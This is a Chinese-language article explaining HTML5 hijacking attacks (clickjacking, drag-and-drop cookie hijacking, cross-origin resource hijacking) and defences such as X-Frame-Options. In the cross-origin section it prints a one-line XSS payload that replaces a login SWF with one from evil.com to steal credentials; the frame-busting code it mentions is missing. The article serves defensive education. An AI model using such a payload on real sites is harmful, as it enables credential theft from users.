HTML5劫持攻擊安全風(fēng)險(xiǎn)詳解
HTML5安全問題,也就是劫持的問題,接下來我們?cè)敿?xì)了解一下!希望能給大家?guī)韼椭?
一、ClickJacking-點(diǎn)擊劫持
這種攻擊方式正變得越來越普遍。被攻擊的頁(yè)面作為iframe,用Mask的方式設(shè)置為透明放在上層,惡意代碼偷偷地放在后面的頁(yè)面中,使得一個(gè)頁(yè)面看起來似乎是安全的,然后誘騙用戶點(diǎn)擊網(wǎng)頁(yè)上的內(nèi)容,達(dá)到竊取用戶信息或者劫持用戶操作的目的。下圖中,欺詐的頁(yè)面放置在下層,被攻擊的銀行頁(yè)面作為透明的層放置在上層,用戶看到的是欺詐頁(yè)面上顯示的信息并進(jìn)行輸入和點(diǎn)擊,但是真正的用戶行為是發(fā)生在銀行頁(yè)面上的。
想象一下,點(diǎn)擊劫持可以誘使你發(fā)布一條虛假微博、或者發(fā)送一封虛假郵件甚至盜取你的個(gè)人信息。例如下圖可以誘使我們發(fā)布一條虛假的Twitter消息。
這里有一個(gè)測(cè)試工具clickjacktest可以檢測(cè)你的頁(yè)面是否有點(diǎn)擊劫持的風(fēng)險(xiǎn),你可以輸入一個(gè)網(wǎng)址并點(diǎn)擊Test,如果頁(yè)面可以正常顯示并加載,那么表示這個(gè)頁(yè)面存在被點(diǎn)擊劫持攻擊的風(fēng)險(xiǎn),如果頁(yè)面顯示為一片空白,那么表示頁(yè)面比較安全。
二、CookieJacking-Cookie劫持
ClickJacking只涉及點(diǎn)擊操作,但是HTML5的拖放API使得這種攻擊擴(kuò)大到拖放操作。因?yàn)楝F(xiàn)在Web應(yīng)用里,有大量需要用戶拖放完成的操作。在同源策略里,一個(gè)域的Cookie只能被本域所訪問,但是拖放操作是不受同源策略限制的,這樣利用拖放操作、XSS和其他技巧,可以構(gòu)造跨域合法請(qǐng)求,劫持Cookie。
把Cookie從一個(gè)域拖拽到另外一個(gè)域里
實(shí)現(xiàn)原理其實(shí)和ClickJacking類似,只要欺騙用戶進(jìn)行拖放行為,就可以把用戶某個(gè)域的信息發(fā)送到另外一個(gè)域里。這個(gè)其實(shí)很容易做到,之前有一個(gè)研究者就在Facebook上建立了一個(gè)應(yīng)用,這個(gè)應(yīng)用的功能是讓用戶把圖片上美女的衣服拖拽下來。我想可能大多數(shù)人都會(huì)去嘗試而且不會(huì)有警惕心理。
一個(gè)誘騙拖放的小游戲
我們應(yīng)當(dāng)如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options:所有的現(xiàn)代瀏覽器都支持X-Frame-Options HTTP頭,這個(gè)頭允許頁(yè)面被iframe使用時(shí)是否正常渲染。下圖中的頁(yè)面就是當(dāng)X-Frame-Options生效時(shí)的效果。
2、Javascript方式
這種方式非常常見,具體代碼就是:
Facebook和Twitter都使用了這種方式,但是這種方式并不是完全奏效的,例如攻擊者可以使用204轉(zhuǎn)向或者禁用Javascript的方式來繞過(例如iframe沙箱)。
不過現(xiàn)在至少80%以上的網(wǎng)站都沒有注意到點(diǎn)擊劫持和cookie劫持的`問題并加以保護(hù)。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對(duì)性的進(jìn)行防御。
三、CORJacking-跨域資源劫持
CORJacking是指跨源資源劫持。HTML5應(yīng)用有各種不同的資源,例如Flash文件,Silverligh,視頻,音頻等,這些資源可以通過DOM訪問和控制。如果頁(yè)面存在XSS漏洞,那么攻擊者可能通過跨域資源的劫持進(jìn)行攻擊。例如下面的代碼載入了一個(gè)swf文件,作為用戶登錄框,這里面我們可以實(shí)現(xiàn)一些加密的邏輯。
當(dāng)頁(yè)面存在XSS漏洞時(shí),攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;
那么當(dāng)用戶在這樣的登錄框里輸入自己的用戶名和密碼并登錄時(shí),他的帳號(hào)就已經(jīng)被盜取了。
這個(gè)問題在不同瀏覽器里面表現(xiàn)是不一致的,有興趣的朋友可以下去自行測(cè)試。
【HTML5劫持攻擊安全風(fēng)險(xiǎn)詳解】相關(guān)文章:
HTML5安全風(fēng)險(xiǎn)之WebSQL攻擊詳解08-04
HTML5API攻擊安全風(fēng)險(xiǎn)詳解08-26
HTML5Web Storage攻擊安全風(fēng)險(xiǎn)詳解09-01
HTML5Web Worker攻擊安全風(fēng)險(xiǎn)詳解08-30
詳解DDoS攻擊原理的目標(biāo)導(dǎo)向02-14
安全設(shè)置有效防止黑客攻擊07-15
如何防范DNS劫持01-22